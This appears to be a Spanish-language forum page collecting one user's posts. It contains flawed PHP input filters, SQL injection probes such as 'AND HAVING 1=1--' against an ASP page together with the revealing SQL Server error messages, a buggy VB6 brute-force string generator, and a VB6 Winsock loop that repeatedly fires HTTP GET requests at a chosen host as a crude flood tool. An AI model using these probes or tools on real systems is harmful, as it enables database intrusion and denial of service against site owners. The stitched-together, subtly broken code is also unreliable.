Hola.
No te entendí.
¿Que es lo que debo leerme?
Muchas gracias man.
No te entendí.
¿Que es lo que debo leerme?
Muchas gracias man.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúfunction verificarsql($valor) {
for(int $i=0;$i<=strlen($valor);$i++)
if($valor[$i]=='-' || $valor[$i]=='=') {
echo '<script>alert("No se admiten caracteresespeciales");location.href="PAGINA A REDIRECCIONAR";</script>';
}
}
function verificarcaracter($valor) {
for(int $i=0;$i<=strlen($valor);$i++)
if($valor[$i]<0 || $valor[$i]>9)
echo '<script>alert("No se admiten estos caracteres.");location.href="pagina a redireccionar";</script>';
}
variable=38715333 AND HAVING 1=1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Sintaxis incorrecta cerca de la palabra clave 'HAVING'.
variable=38715333 AND 'HAVING 1=1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Comilla no cerrada antes de la cadena de caracteres 'HAVING 1=1-- ORDER BY Productos.ref'.
/cgi-bin/datos.asp, línea 25
variable=38715333 AND 'HAVING 1=1--'
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Comilla no cerrada antes de la cadena de caracteres 'HAVING 1=1-- ORDER BY Productos.ref'.
/cgi-bin/datos.asp, línea 25
http://www.paginaweb.com/cgi-bin/datos.asp?user=46&id='Select * from productos.ref--'
http://www.paginaweb.com/cgi-bin/datos.asp?user=46&id='Select * from productos.ref--'
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Error al convertir el tipo de datos varchar a float.
/cgi-bin/datos.asp, línea 25
Dim Zahl1 As Integer
Dim Zahl2 As Integer
Dim Zahl3 As Integer
Dim Zahl4 As Integer
Dim Zahl5 As Integer
Dim Zahl6 As Integer
Dim chr1 As String
Dim chr2 As String
Dim chr3 As String
Dim chr4 As String
Dim chr5 As String
Dim chr6 As String
Private Sub Command1_Click()
Do
Zahl1 = Zahl1 + 1 '1.) character
chr1 = Chr(Zahl1)
If Zahl1 > 123 Then '2.) character
Zahl1 = 48'Set Zahl1(Chr) = 48 (chr(48)=0)
Zahl2 = Zahl2 + 1
chr2 = Chr(Zahl2) 'Convert
End If
If Zahl2 > 123 Then '3.) character
Zahl1 = 48
Zahl2 = 48
Zahl2 = Zahl2 + 1
chr2 = Chr(Zahl2)
Zahl3 = Zahl3 + 1
chr3 = Chr(Zahl3)
End If
If Zahl3 > 123 Then '4.) character
Zahl1 = 48
Zahl2 = 48
Zahl3 = 48
Zahl2 = Zahl2 + 1
chr2 = Chr(Zahl2)
Zahl3 = Zahl3 + 1
chr3 = Chr(Zahl3)
Zahl4 = Zahl4 + 1
chr4 = Chr(Zahl4)
End If
If Zahl4 > 123 Then '5.) character
Zahl1 = 48
Zahl2 = 48
Zahl3 = 48
Zahl4 = 48
Zahl2 = Zahl2 + 1
chr2 = Chr(Zahl2)
Zahl3 = Zahl3 + 1
chr3 = Chr(Zahl3)
Zahl4 = Zahl4 + 1
chr4 = Chr(Zahl4)
Zahl5 = Zahl5 + 1
chr6 = Chr(Zahl6)
End If
If Zahl5 > 123 Then '6.) character
Zahl1 = 48
Zahl2 = 48
Zahl3 = 48
Zahl4 = 48
Zahl5 = 48
Zahl2 = Zahl2 + 1
chr2 = Chr(Zahl2)
Zahl3 = Zahl3 + 1
chr3 = Chr(Zahl3)
Zahl4 = Zahl4 + 1
chr4 = Chr(Zahl4)
Zahl5 = Zahl5 + 1
chr5 = Chr(Zahl5)
Zahl6 = Zahl6 + 1
chr6 = Chr(Zahl6)
End If
If Zahl6 > 123 Then '7.) character
MsgBox "Uncracked"
End
End If
DoEvents
Cls
Print Zahl1, Zahl2, Zahl3, Zahl4, Zahl5, Zahl6
Me.Label1 = chr1 & chr2 & chr3 & chr4 & chr5 & chr6
Loop
End Sub
Private Sub Form_Load()
Zahl1 = 48
Zahl2 = 48
Zahl3 = 48
Zahl4 = 48
Zahl5 = 48
Zahl6 = 48
End Sub
Private Sub Command1_Click()
Winsock1.Connect Text1.Text, 80
End Sub
Private Sub Command2_Click()
Winsock1.Close
End Sub
Private Sub Form_Load()
End Sub
Private Sub Winsock1_Connect()
For i = 1 To Text3.Text
Winsock1.SendData ("GET /" & Text2.Text & " HTTP/1.1" & vbCrLf & "Host:" & Text1.Text & vbCrLf & vbCrLf)
Label4.Caption = Label4.Caption + 1
Next
End Sub
Private Sub Winsock1_SendComplete()
Label4.Caption = Label4.Caption + 1
Winsock1.Close
Winsock1.Connect Text1.Text, 80
End Sub